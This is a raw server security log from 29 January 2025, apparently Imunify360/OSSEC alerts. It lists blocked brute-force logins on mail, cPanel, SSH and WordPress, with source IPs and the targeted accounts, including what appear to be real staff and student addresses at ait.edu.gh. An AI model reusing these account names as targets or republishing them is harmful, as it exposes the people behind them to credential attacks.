2025-01-29 14:10:34 dovecot_plain authenticator failed for syn-208-105-196-214.biz.spectrum.com (rrcs-208-105-196-214.nys.biz.rr.com) [208.105.196.214]:46097: 535 Incorrect authentication data (set_id=sarpong-nsiah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.18.212.238
description:
Jan 29 14:10:42 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.18.212.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.212.238
description:
2025-01-29 14:10:44 dovecot_plain authenticator failed for ([58.18.212.238]) [58.18.212.238]:56140: 535 Incorrect authentication data (set_id=mappiah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.194.139.55
description:
Jan 29 14:10:52 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.194.139.55 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.139.55
description:
2025-01-29 14:10:54 dovecot_plain authenticator failed for ([112.194.139.55]) [112.194.139.55]:49282: 535 Incorrect authentication data (set_id=mappiah)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.97.197.5
description:
[2025-01-29 14:11:15 +0100] info [webmaild] 177.97.197.5 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 208.105.196.214
description:
Jan 29 14:10:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 208.105.196.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.89.232.138
description:
Jan 29 14:10:41 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.89.232.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.89.232.138
description:
2025-01-29 14:10:43 dovecot_plain authenticator failed for ([159.89.232.138]) [159.89.232.138]:17592: 535 Incorrect authentication data (set_id=sarpong-nsiah)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 116.204.148.222
description:
[2025-01-29 14:10:47 +0100] info [webmaild] 116.204.148.222 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.195.176
description:
Jan 29 14:11:47 ait sshd[188144]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.126.195.176 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.126.195.176
description:
Jan 29 14:11:47 ait sshd[188144]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.126.195.176


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 212.227.201.53
description:
[2025-01-29 14:11:27 +0100] info [cpaneld] 212.227.201.53 - ait002 "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 14:12:51 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.198.102.219
description:
[2025-01-29 14:12:18 +0100] info [webmaild] 181.198.102.219 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 14:12:25 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.14.48.60
description:
[2025-01-29 14:12:31 +0100] info [webmaild] 201.14.48.60 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.219.104.210
description:
2025-01-29 14:14:08 dovecot_plain authenticator failed for net-188-219-104-210.cust.vodafonedsl.it [188.219.104.210]:57679: 535 Incorrect authentication data (set_id=abs2)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.118.141.44
description:
[2025-01-29 14:13:26 +0100] info [webmaild] 179.118.141.44 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 157.100.54.13
description:
[2025-01-29 14:13:22 +0100] info [webmaild] 157.100.54.13 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.48.147.155
description:
Jan 29 14:13:58 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.48.147.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 14:13:35 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.147.155
description:
2025-01-29 14:14:00 dovecot_plain authenticator failed for 155.147.48.116.static.netvigator.com [116.48.147.155]:50406: 535 Incorrect authentication data (set_id=abs2@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.219.104.210
description:
Jan 29 14:14:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.219.104.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.92.0.207
description:
Jan 29 14:15:16 ait sshd[190516]: pam_imunify(sshd:auth): [IM360_RBL] The IP 218.92.0.207 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 218.92.0.207
description:
Jan 29 14:15:16 ait sshd[190516]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.207  user=root


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.92.0.207
description:
Jan 29 14:15:19 ait sshd[190516]: pam_imunify(sshd:auth): [IM360_RBL] The IP 218.92.0.207 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.194.156.243
description:
[2025-01-29 14:15:43 +0100] info [webmaild] 186.194.156.243 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.7.26.195
description:
Jan 29 14:15:52 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.7.26.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.24.163.2
description:
Jan 29 14:16:02 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.24.163.2 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.254.163.222
description:
[2025-01-29 14:16:13 +0100] info [webmaild] 170.254.163.222 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.141.25.138
description:
[2025-01-29 14:16:17 +0100] info [webmaild] 177.141.25.138 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.7.26.195
description:
2025-01-29 14:15:54 dovecot_plain authenticator failed for bb121-7-26-195.singnet.com.sg [121.7.26.195]:35204: 535 Incorrect authentication data (set_id=agbozume1@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.24.163.2
description:
2025-01-29 14:16:04 dovecot_plain authenticator failed for syn-098-024-163-002.res.spectrum.com [98.24.163.2]:52870: 535 Incorrect authentication data (set_id=agbozume1)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.22.176
description:
47.128.22.176 - - [29/Jan/2025:14:16:18 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=14862672 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-language=95%2C198%2C99&filtering=1&instructor=1" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.22.176


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.178.165.251
description:
Jan 29 14:17:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.178.165.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.178.165.251
description:
2025-01-29 14:17:09 dovecot_plain authenticator failed for ([211.178.165.251]) [211.178.165.251]:41434: 535 Incorrect authentication data (set_id=zabopiqu@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 14:17:17 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.169.212.206
description:
Jan 29 14:17:19 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.169.212.206 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 200.124.251.89
description:
[2025-01-29 14:17:41 +0100] info [webmaild] 200.124.251.89 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 200.163.194.59
description:
[2025-01-29 14:18:00 +0100] info [webmaild] 200.163.194.59 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.129.25.192
description:
[2025-01-29 14:17:20 +0100] info [webmaild] 177.129.25.192 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.169.212.206
description:
2025-01-29 14:17:21 dovecot_plain authenticator failed for ([211.169.212.206]) [211.169.212.206]:61437: 535 Incorrect authentication data (set_id=zabopiqu)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 90.156.161.41
description:
[2025-01-29 14:18:57 +0100] info [webmaild] 90.156.161.41 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 213.230.86.196
description:
[2025-01-29 14:18:39 +0100] info [webmaild] 213.230.86.196 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.90.72.14
description:
Jan 29 14:18:43 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.90.72.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.197.135.208
description:
Jan 29 14:19:00 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.197.135.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.197.135.208
description:
2025-01-29 14:19:02 dovecot_plain authenticator failed for ([124.197.135.208]) [124.197.135.208]:49286: 535 Incorrect authentication data (set_id=eng20b00207y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.90.72.14
description:
2025-01-29 14:18:45 dovecot_plain authenticator failed for ([125.90.72.14]) [125.90.72.14]:35746: 535 Incorrect authentication data (set_id=eng20b00207y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 14:19:27 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.187.50.49
description:
Jan 29 14:21:15 ait sshd[194457]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.187.50.49  user=gvu


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 85.105.93.189
description:
[2025-01-29 14:20:55 +0100] info [webmaild] 85.105.93.189 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.187.50.49
description:
Jan 29 14:21:15 ait sshd[194457]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.187.50.49 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:14-21.80.76.51.123


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.110
description:
47.128.122.110 - - [29/Jan/2025:14:21:20 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=11564254 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/course-category/search-engine-optimization/?filtering=1&rating_filter=5&tutor-course-filter-category=187" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.110


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.250.191.189
description:
Jan 29 14:23:13 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.250.191.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.250.191.189
description:
2025-01-29 14:23:15 dovecot_plain authenticator failed for (wheae) [178.250.191.189]:36604: 535 Incorrect authentication data (set_id=sales@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.233.4.98
description:
[2025-01-29 14:22:38 +0100] info [webmaild] 170.233.4.98 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 59.103.7.110
description:
[2025-01-29 14:23:32 +0100] info [webmaild] 59.103.7.110 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.27.129.78
description:
Jan 29 14:24:14 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.27.129.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.27.129.78
description:
2025-01-29 14:24:16 dovecot_plain authenticator failed for ([112.27.129.78]) [112.27.129.78]:33591: 535 Incorrect authentication data (set_id=abs21a00043y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.34.111.22
description:
2025-01-29 14:25:07 dovecot_plain authenticator failed for ([110.34.111.22]) [110.34.111.22]:51567: 535 Incorrect authentication data (set_id=ads22b00265y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 195.19.121.110
description:
[2025-01-29 14:24:46 +0100] info [webmaild] 195.19.121.110 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.80.66.111
description:
[2025-01-29 14:24:47 +0100] info [webmaild] 170.80.66.111 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 157.15.20.74
description:
[2025-01-29 14:24:55 +0100] info [webmaild] 157.15.20.74 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.34.111.22
description:
Jan 29 14:25:05 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.34.111.22 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.126.195.176
description:
Jan 29 14:24:25 ait sshd[196805]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.126.195.176  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 138.97.214.218
description:
[2025-01-29 14:24:25 +0100] info [webmaild] 138.97.214.218 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 96.1.40.151
description:
Jan 29 14:24:23 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 96.1.40.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.195.176
description:
Jan 29 14:24:25 ait sshd[196805]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.126.195.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.1.40.151
description:
2025-01-29 14:24:25 dovecot_plain authenticator failed for 96-1-40-151-staticipeast.wireless.telus.com [96.1.40.151]:47341: 535 Incorrect authentication data (set_id=abs21a00043y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.225.207.166
description:
Jan 29 14:25:22 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.225.207.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.225.207.166
description:
2025-01-29 14:25:24 dovecot_plain authenticator failed for ([111.225.207.166]) [111.225.207.166]:48732: 535 Incorrect authentication data (set_id=ads22b00265y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 137.74.53.195
domain: tracker.aitedu.net
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:RubyO||WPU:RubyO||RSV:6.65||T:APACHE||MV:14-26.137.74.53.195


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.23.61.221
description:
[2025-01-29 14:27:15 +0100] info [webmaild] 177.23.61.221 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.251
description:
2025-01-29 14:28:23 dovecot_plain authenticator failed for 111-70-23-251.emome-ip.hinet.net [111.70.23.251]:49665: 535 Incorrect authentication data (set_id=ads17a00060y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.213.38.227
description:
[2025-01-29 14:29:14 +0100] info [webmaild] 187.213.38.227 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.23.251
description:
Jan 29 14:28:21 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.23.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 14:29:02 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 43.246.200.45
description:
[2025-01-29 14:29:13 +0100] info [webmaild] 43.246.200.45 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.80.244.166
description:
[2025-01-29 14:30:11 +0100] info [webmaild] 170.80.244.166 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.155.118.216
description:
[2025-01-29 14:30:15 +0100] info [webmaild] 103.155.118.216 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.180.166.130
description:
[2025-01-29 14:29:54 +0100] info [webmaild] 45.180.166.130 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.122.157.193
description:
Jan 29 14:30:37 ait sshd[201077]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.122.157.193


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.105.119
description:
[2025-01-29 14:31:08 +0100] info [cpaneld] 156.228.105.119 - pg23j2050045 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pg23j2050045 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.53.44
description:
[2025-01-29 14:31:13 +0100] info [cpaneld] 104.207.53.44 - pg23j2050045 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pg23j2050045 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.90.97
description:
[2025-01-29 14:31:19 +0100] info [whostmgrd] 156.228.90.97 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.35.11
description:
[2025-01-29 14:31:15 +0100] info [whostmgrd] 104.207.35.11 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.56.60
description:
[2025-01-29 14:31:09 +0100] info [cpaneld] 104.207.56.60 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ait (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.32.83
description:
[2025-01-29 14:31:10 +0100] info [cpaneld] 104.207.32.83 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aitedugh (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.77.194
description:
[2025-01-29 14:31:14 +0100] info [cpaneld] 156.228.77.194 - pg23j2050045 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pg23j2050045 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.54.84
description:
[2025-01-29 14:31:15 +0100] info [whostmgrd] 104.207.54.84 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.122.157.193
description:
Jan 29 14:30:37 ait sshd[201077]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.122.157.193 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.39.52
description:
[2025-01-29 14:31:15 +0100] info [whostmgrd] 104.207.39.52 - pg23j2050045 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.97.90
description:
[2025-01-29 14:31:19 +0100] info [whostmgrd] 156.228.97.90 - pg23j2050045 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.102.142
description:
[2025-01-29 14:31:19 +0100] info [whostmgrd] 156.228.102.142 - pg23j2050045 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 168.228.19.163
description:
[2025-01-29 14:32:39 +0100] info [webmaild] 168.228.19.163 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 194.31.93.151
description:
[2025-01-29 14:34:21 +0100] info [webmaild] 194.31.93.151 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.122.157.193
description:
Jan 29 14:35:04 ait sshd[204015]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.122.157.193 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.122.157.193
description:
Jan 29 14:35:04 ait sshd[204015]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.122.157.193  user=gvu


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.12.151.117
description:
[2025-01-29 14:35:17 +0100] info [webmaild] 190.12.151.117 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 14:36:01 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.4.58.81
description:
[2025-01-29 14:36:19 +0100] info [webmaild] 45.4.58.81 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 188.3.18.185
description:
[2025-01-29 14:36:19 +0100] info [webmaild] 188.3.18.185 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 14:35:23 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.90.192.124
description:
[2025-01-29 14:35:40 +0100] info [webmaild] 186.90.192.124 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 151.236.176.143
description:
[2025-01-29 14:37:04 +0100] info [webmaild] 151.236.176.143 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.91.165.171
description:
Jan 29 14:37:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 198.91.165.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.157.230
description:
2025-01-29 14:37:24 dovecot_plain authenticator failed for (exsubbit) [207.188.157.230]:35155: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
